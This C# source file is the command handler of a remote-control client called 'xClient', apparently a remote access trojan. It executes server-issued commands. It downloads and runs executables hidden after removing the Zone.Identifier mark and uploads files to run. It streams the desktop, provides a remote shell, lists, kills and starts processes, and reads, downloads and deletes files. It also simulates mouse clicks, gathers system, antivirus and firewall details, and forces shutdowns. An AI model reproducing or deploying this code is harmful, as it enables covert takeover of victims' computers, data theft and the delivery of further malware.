using System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Net; using System.Runtime.InteropServices; using System.Threading; using System.Windows.Forms; using Microsoft.Win32; using xClient.Config; using xClient.Core.RemoteShell; namespace xClient.Core.Commands { public static class CommandHandler { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DeleteFile(string name); [DllImport("user32.dll")] private static extern bool SetCursorPos(int x, int y); [DllImport("user32.dll")] private static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); private static Bitmap lastDesktopScreenshot = null; private static Shell shell = null; private const int MOUSEEVENTF_LEFTDOWN = 0x02; private const int MOUSEEVENTF_LEFTUP = 0x04; private const int MOUSEEVENTF_RIGHTDOWN = 0x08; private const int MOUSEEVENTF_RIGHTUP = 0x10; public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client) { SystemCore.InitializeGeoIp(); new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex).Execute(client); } public static void HandleDownloadAndExecuteCommand(Packets.ServerPackets.DownloadAndExecute command, Client client) { new Packets.ClientPackets.Status("Downloading file...").Execute(client); new Thread(new ThreadStart(() => { string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.URL, tempFile); } } catch { new Packets.ClientPackets.Status("Download failed!").Execute(client); return; } new Packets.ClientPackets.Status("Downloaded File!").Execute(client); try { DeleteFile(tempFile + ":Zone.Identifier"); var bytes = File.ReadAllBytes(tempFile); if (bytes[0] != 'M' && bytes[1] != 'Z') throw new Exception("no pe file"); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = tempFile; Process.Start(startInfo); } catch { DeleteFile(tempFile); new Packets.ClientPackets.Status("Execution failed!").Execute(client); return; } new Packets.ClientPackets.Status("Executed File!").Execute(client); })).Start(); } public static void HandleUploadAndExecute(Packets.ServerPackets.UploadAndExecute command, Client client) { new Thread(new ThreadStart(() => { byte[] fileBytes = command.FileBytes; string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (fileBytes[0] != 'M' && fileBytes[1] != 'Z') throw new Exception("no pe file"); File.WriteAllBytes(tempFile, fileBytes); DeleteFile(tempFile + ":Zone.Identifier"); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = command.RunHidden; startInfo.FileName = tempFile; Process.Start(startInfo); } catch { DeleteFile(tempFile); new Packets.ClientPackets.Status("Execution failed!").Execute(client); return; } new Packets.ClientPackets.Status("Executed File!").Execute(client); })).Start(); } public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client) { new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client); if (Settings.STARTUP) { if (SystemCore.AccountType == "Admin") { try { RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (key != null) { key.DeleteValue(Settings.STARTUPKEY, true); key.Close(); } } catch { // try deleting from Registry.CurrentUser RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (key != null) { key.DeleteValue(Settings.STARTUPKEY, true); key.Close(); } } } else { try { RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (key != null) { key.DeleteValue(Settings.STARTUPKEY, true); key.Close(); } } catch { } } } string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat")); string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ? "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 20 localhost > nul" + "\n" + "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" + "del " + "\"" + filename + "\"" : "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 20 localhost > nul" + "\n" + "del " + "\"" + SystemCore.MyPath + "\"" + "\n" + "del " + "\"" + filename + "\"" ; File.WriteAllText(filename, uninstallBatch); ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; startInfo.UseShellExecute = true; startInfo.FileName = filename; Process.Start(startInfo); CloseShell(); SystemCore.Disconnect = true; client.Disconnect(); } public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) { if (lastDesktopScreenshot == null) { lastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); byte[] desktop = Helper.Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg); new Packets.ClientPackets.DesktopResponse(desktop).Execute(client); desktop = null; } else { Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot); lastDesktopScreenshot = currentDesktopScreenshot; byte[] desktop = Helper.Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png); new Packets.ClientPackets.DesktopResponse(desktop).Execute(client); desktop = null; changesScreenshot = null; currentDesktopScreenshot = null; } } public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client) { Process[] pList = Process.GetProcesses(); string[] processes = new string[pList.Length]; int[] ids = new int[pList.Length]; string[] titles = new string[pList.Length]; int i = 0; foreach (Process p in pList) { processes[i] = p.ProcessName + ".exe"; ids[i] = p.Id; titles[i] = p.MainWindowTitle; i++; } new Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client); } public static void HandleKillProcess(Packets.ServerPackets.KillProcess command, Client client) { try { Process.GetProcessById(command.PID).Kill(); } catch { } HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.UseShellExecute = true; startInfo.FileName = command.Processname; Process.Start(startInfo); HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } public static void HandleDrives(Packets.ServerPackets.Drives command, Client client) { new Packets.ClientPackets.DrivesResponse(Environment.GetLogicalDrives()).Execute(client); } public static void HandleDirectory(Packets.ServerPackets.Directory command, Client client) { try { DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); FileInfo[] iFiles = dicInfo.GetFiles(); DirectoryInfo[] iFolders = dicInfo.GetDirectories(); string[] files = new string[iFiles.Length]; long[] filessize = new long[iFiles.Length]; string[] folders = new string[iFolders.Length]; int i = 0; foreach (FileInfo file in iFiles) { files[i] = file.Name; filessize[i] = file.Length; i++; } if (files.Length == 0) { files = new string[] { "$$$EMPTY$$$$" }; filessize = new long[] { 0 }; } i = 0; foreach (DirectoryInfo folder in iFolders) { folders[i] = folder.Name; i++; } if (folders.Length == 0) folders = new string[] { "$$$EMPTY$$$$" }; new Packets.ClientPackets.DirectoryResponse(files, folders, filessize).Execute(client); } catch { new Packets.ClientPackets.DirectoryResponse(new string[] { "$$$EMPTY$$$$" }, new string[] { "$$$EMPTY$$$$" }, new long[] { 0 }).Execute(client); } } public static void HandleDownloadFile(Packets.ServerPackets.DownloadFile command, Client client) { try { byte[] bytes = File.ReadAllBytes(command.RemotePath); new Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client); } catch { } } public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client) { if (command.LeftClick) { SetCursorPos(command.X, command.Y); mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0); if (command.DoubleClick) { mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0); } } else { SetCursorPos(command.X, command.Y); mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0); if (command.DoubleClick) { mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0); } } } public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client) { try { string[] infoCollection = new string[] { "Processor (CPU)", SystemCore.GetCpu(), "Memory (RAM)", string.Format("{0} MB", SystemCore.GetRam()), "Video Card (GPU)", SystemCore.GetGpu(), "Username", SystemCore.GetUsername(), "PC Name", SystemCore.GetPcName(), "Uptime", SystemCore.GetUptime(), "LAN IP Address", SystemCore.GetLanIp(), "WAN IP Address", SystemCore.WANIP, "Antivirus", SystemCore.GetAntivirus(), "Firewall", SystemCore.GetFirewall() }; new Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client); } catch { } } public static void HandleVisitWebsite(Packets.ServerPackets.VisitWebsite command, Client client) { string url = command.URL; if (!url.StartsWith("http")) url = "http://" + url; if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { if (!command.Hidden) Process.Start(url); else { try { HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url); Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36"; Request.AllowAutoRedirect = true; Request.Timeout = 10000; Request.Method = "GET"; HttpWebResponse Response = (HttpWebResponse)Request.GetResponse(); Stream DataStream = Response.GetResponseStream(); StreamReader reader = new StreamReader(DataStream); reader.Close(); DataStream.Close(); Response.Close(); } catch { } } new Packets.ClientPackets.Status("Visited Website").Execute(client); } } public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client) { MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); new Packets.ClientPackets.Status("Showed Messagebox").Execute(client); } public static void HandleUpdate(Packets.ServerPackets.Update command, Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it new Packets.ClientPackets.Status("Downloading file...").Execute(client); new Thread(new ThreadStart(() => { string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.DownloadURL, tempFile); } } catch { new Packets.ClientPackets.Status("Download failed!").Execute(client); return; } new Packets.ClientPackets.Status("Downloaded File!").Execute(client); new Packets.ClientPackets.Status("Updating...").Execute(client); try { DeleteFile(tempFile + ":Zone.Identifier"); var bytes = File.ReadAllBytes(tempFile); if (bytes[0] != 'M' && bytes[1] != 'Z') throw new Exception("no pe file"); string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat")); string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ? "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 20 localhost > nul" + "\n" + "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" + "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" + "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" + "del " + "\"" + filename + "\"" : "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 20 localhost > nul" + "\n" + "del " + "\"" + SystemCore.MyPath + "\"" + "\n" + "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" + "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" + "del " + "\"" + filename + "\"" ; File.WriteAllText(filename, uninstallBatch); ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; startInfo.UseShellExecute = true; startInfo.FileName = filename; Process.Start(startInfo); SystemCore.Disconnect = true; client.Disconnect(); } catch { DeleteFile(tempFile); new Packets.ClientPackets.Status("Update failed!").Execute(client); return; } })).Start(); } public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client) { new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client); } public static void HandleShellCommand(Packets.ServerPackets.ShellCommand command, Client client) { if (shell == null) shell = new Shell(); string input = command.Command; if (input == "exit") CloseShell(); else shell.ExecuteCommand(input); } public static void CloseShell() { if (shell != null) { shell.CloseSession(); shell = null; } } public static void HandleRename(Packets.ServerPackets.Rename command, Client client) { try { if (command.IsDir) Directory.Move(command.Path, command.NewPath); else File.Move(command.Path, command.NewPath); HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client); } catch { } } public static void HandleDelete(Packets.ServerPackets.Delete command, Client client) { try { if (command.IsDir) Directory.Delete(command.Path, true); else File.Delete(command.Path); HandleDirectory(new Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client); } catch { } } public static void HandleAction(Packets.ServerPackets.Action command, Client client) { try { ProcessStartInfo startInfo = new ProcessStartInfo(); switch(command.Mode) { case 0: startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; startInfo.UseShellExecute = true; startInfo.Arguments = "/s /t 0"; // shutdown startInfo.FileName = "shutdown"; Process.Start(startInfo); break; case 1: startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; startInfo.UseShellExecute = true; startInfo.Arguments = "/r /t 0"; // restart startInfo.FileName = "shutdown"; Process.Start(startInfo); break; case 2: Application.SetSuspendState(PowerState.Suspend, true, true); // standby break; } } catch { new Packets.ClientPackets.Status("Action failed!").Execute(client); } } public static void HandleGetStartup(object command, Client client) { try { string[] LMRun, LMRunOnce, CURun, CURunOnce, CAStartup, AStartup; LMRun = LMRunOnce = CURun = CURunOnce = CAStartup = AStartup = new string[50]; using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { for (int i = 0; i < key.GetValueNames().Length && i < LMRun.Length; i++) LMRun[i] = string.Format("{0}||{1}", key.GetValueNames()[i].ToString(), key.GetValue(key.GetValueNames()[i])); } using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { for (int i = 0; i < key.GetValueNames().Length && i < LMRunOnce.Length; i++) LMRunOnce[i] = string.Format("{0}||{1}", key.GetValueNames()[i].ToString(), key.GetValue(key.GetValueNames()[i])); } using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { for (int i = 0; i < key.GetValueNames().Length && i < CURun.Length; i++) CURun[i] = string.Format("{0}||{1}", key.GetValueNames()[i].ToString(), key.GetValue(key.GetValueNames()[i])); } using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { for (int i = 0; i < key.GetValueNames().Length && i < CURunOnce.Length; i++) CURunOnce[i] = string.Format("{0}||{1}", key.GetValueNames()[i].ToString(), key.GetValue(key.GetValueNames()[i])); } if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"))) { var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles(); for (int i = 0; i < files.Length && i < CAStartup.Length; i++) CAStartup[i] = string.Format("{0}||{1}", files[i].Name, files[i].FullName); } if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"))) { var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles(); for (int i = 0; i < files.Length && i < AStartup.Length; i++) AStartup[i] = string.Format("{0}||{1}", files[i].Name, files[i].FullName); } } catch { new Packets.ClientPackets.Status("Startup Information failed!").Execute(client); } } } }